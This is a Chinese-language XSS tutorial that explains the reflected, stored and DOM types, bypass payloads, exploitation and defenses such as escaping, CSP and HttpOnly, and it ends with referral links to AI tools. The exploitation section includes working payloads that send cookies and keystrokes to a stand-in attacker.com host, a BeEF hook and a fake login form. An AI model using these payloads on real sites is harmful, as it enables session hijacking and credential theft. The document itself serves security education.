XSS深度剖析:从弹窗到持久化窃取Cookie

XSS深度剖析:从弹窗到持久化窃取Cookie XSS深度剖析从弹窗到持久化窃取Cookie作者浅木·先生来源「浅木·先生」| 知识星球「软件测试成长圈」所属专栏《Web安全工程师进阶之路》前言XSS跨站脚本攻击可能是Web安全中名字最响亮的漏洞之一很多人都知道alert(XSS)弹窗测试。但实际上XSS远远不只是弹个框它能做很多事情——窃取Cookie、劫持会话、键盘记录、钓鱼注入甚至是内网探测和ARMMITM攻击的跳板。很多人觉得XSS是低危漏洞但在真实的渗透测试场景中XSS往往是横向移动的关键入口。本文系统讲解XSS的原理、分类、绕过技巧和实战利用帮你全面认识这个低调杀手。一、XSS的原理1.1 漏洞本质XSS的本质是HTML注入——服务器对用户输入没有做充分的过滤或转义导致用户输入的内容被浏览器当作HTML代码解析执行。正常流程 用户输入Hello World 输出到页面pHello World/p 浏览器解析显示 Hello World 攻击流程 用户输入scriptalert(1)/script 输出到页面pscriptalert(1)/script/p 浏览器解析执行JavaScript脚本1.2 XSS与CSRF的关系很多人分不清XSS和CSRF的区别漏洞本质攻击者能做的事XSS信任用户的输入为安全内容越过浏览器安全策略窃取该域下任意数据CSRF利用用户已登录的状态发送伪造请求以用户身份发送恶意请求但不读取响应XSS是读取CSRF是发送。两者结合时威力更大——XSS窃取tokenCSRF利用token发请求。二、XSS的分类2.1 反射型XSS非持久化攻击代码通过URL参数传输服务器直接响应执行不存储到数据库。// URLhttps://target.com/search?qscriptalert(1)/script// 服务器未过滤直接将q参数内容返回// h2搜索结果scriptalert(1)/script/h2// 浏览器收到响应后执行脚本特点需要诱导用户点击恶意链接一次性利用。2.2 存储型XSS持久化攻击代码被存储到服务器数据库、评论区、留言板每次访问页面都会执行。// 在评论框提交scriptfetch(http://attacker.com/steal?cdocument.cookie)/script// 服务器存储了这段内容// 其他用户访问该文章时浏览器执行脚本 → Cookie被盗特点持久生效危害最大所有访问该页面的用户都会被攻击。2.3 DOM型XSS前端JavaScript从URL中读取参数并直接写入页面不经过服务器端处理。// 前端JS代码varurldocument.location.href;document.write(当前页面url);// 攻击者构造URLhttps://target.com/#img srcx onerroralert(1)// URL中#后的内容不会发送到服务器但JavaScript会读取并写入页面// 写入的内容是img srcx onerroralert(1)// 图片加载失败触发onerror事件执行JavaScript特点纯前端漏洞服务器日志不记录WAF无法感知。三、XSS探测与绕过3.1 基础探测scriptalert(1)/scriptimgsrcxonerroralert(1)svgonloadalert(1)bodyonloadalert(1)iframesrcjavascript:alert(1)ahrefjavascript:alert(1)click/a3.2 绕过技巧1. 大小写混合ScRiPtalert(1)/sCrIpT2. HTML编码lt;scriptgt;alert(1)lt;/scriptgt;3. 利用事件属性imgsrcxonerroralert(1)inputonfocusalert(1)autofocusdetailsopenontogglealert(1)selectonbeforecopyalert(1)contenteditable4. 伪协议ahrefjavascript:alert(1)click/aiframesrcjavascript:alert(1)5. 绕过引号限制imgsrcxonerroralert(1)!-- 用单引号绕过双引号过滤 --6. 绕过script过滤scriptalalertert(1)/script!-- 插入空字符干扰匹配alalertert → alert --7. 利用SVG/Flash等标签svg/onloadalert(1)objectdatamalicious.swf3.3 常见WAF绕过!-- 空格替代 --img/srcx/onerroralert(1)!-- 用/代替空格 --!-- 换行符干扰 --imgsrcxonerroralert(1)!-- Tab键干扰 --imgsrcxonerroralert(1)!-- Unicode编码 --imgsrcxonerror\u0061\u006C\u0065\u0072\u0074(1)四、XSS实战利用4.1 窃取Cookie这是XSS最经典的利用方式通过JavaScript读取当前页面的Cookie发送到攻击者服务器。scriptfetch(http://attacker.com/log?cencodeURIComponent(document.cookie));/script攻击者服务器接收端Node.jsconsthttprequire(http);http.createServer((req,res){console.log(Cookie:,req.url);res.end(ok);}).listen(8080);// 访问 http://attacker.com/log?cPHPSESSIDxxx4.2 Beef-XSS渗透框架BeEF是专门做XSS渗透的框架功能强大# 安装gitclone https://github.com/beefproject/beefcdbeef ./install# 启动./beef# 生成XSS钩子代码插入到目标页面scriptsrchttp://attacker.com:3000/hook.js/script# BeEF控制台可以# - 窃取Cookie/Session# - 读取浏览器信息插件、操作系统# - 端口扫描内网# - 弹出伪造登录框钓鱼# - 发送弹窗、修改页面内容4.3 键盘记录器document.onkeypressfunction(e){fetch(http://attacker.com/keylog?ke.key);}4.4 钓鱼攻击注入伪造登录框document.write(div styleposition:fixed;top:0;left:0;width:100%;height:100%;background:whiteh2请重新登录/h2form actionhttp://attacker.com/fakeinput typepasswordbutton登录/button/form/div);五、XSS防护方案5.1 输入端过滤// 过滤危险字符functionfilterXSS(str){returnstr.replace(//g,lt;).replace(//g,gt;).replace(//g,quot;).replace(//g,#x27;).replace(/\//g,#x2F;);}5.2 输出端转义最佳方案HTML上下文不同转义规则不同// HTML内容中→amp;→lt;→gt; →quot; →#x27;// JavaScript上下文中 → \x22 → \x27 \ → \\5.3 CSP内容安全策略配置HTTP头限制页面可执行的资源来源Content-Security-Policy: script-src self nonce-xxx; object-src none; base-uri self;# 禁止内联脚本最严格 Content-Security-Policy: default-src self; script-src self;5.4 HttpOnly和Secure标记Set-Cookie: sessionxxx; HttpOnly; Secure; SameSiteStrictHttpOnlyJavaScript无法读取Cookie防止XSS窃取SecureCookie只在HTTPS下传输SameSite防止CSRF攻击六、XSS实战测试清单测试位置测试方法搜索框scriptalert(1)/script评论/留言发表含XSS代码的内容刷新页面URL参数各类参数加XSS代码观察是否反射Cookie检查Cookie是否设置了HttpOnly表单检查输入是否有长度限制和过滤错误页面访问不存在页面检查错误信息是否被转义总结XSS不是弹个框那么简单。它是HTML注入核心是用户输入被当作代码执行。反射型URL一次触发适合钓鱼存储型持久生效窃取所有访问者的CookieDOM型纯前端隐蔽性强防护的核心是输入过滤 输出转义 CSP HttpOnly多层次防御才是正确的思路。关于作者作者长期从事网络安全技术研究与实践主要涵盖Web安全、渗透测试、内网渗透等领域。如果你觉得这篇文章有帮助欢迎收藏。需要进一步交流的同学可以搜索关注「浅木·先生」专栏会持续更新。同时也有付费版的知识星球可供直接下载工具与源码可以搜索 软件测试成长圈 AI工具推荐如果你在研究AI编程或大模型应用以下工具值得关注硅基流动主打大模型推理服务https://cloud.siliconflow.cn/i/24s1PqPcWorkBuddy腾讯龙虾旗下产品https://www.codebuddy.cn/fission/?inviteCodeiw31adtaqqtgz899MonkeyCode AI编程助手工具新用户5000积分https://monkeycode-ai.com/?ic019ddc5b-009c-7370-86ba-c196753108c9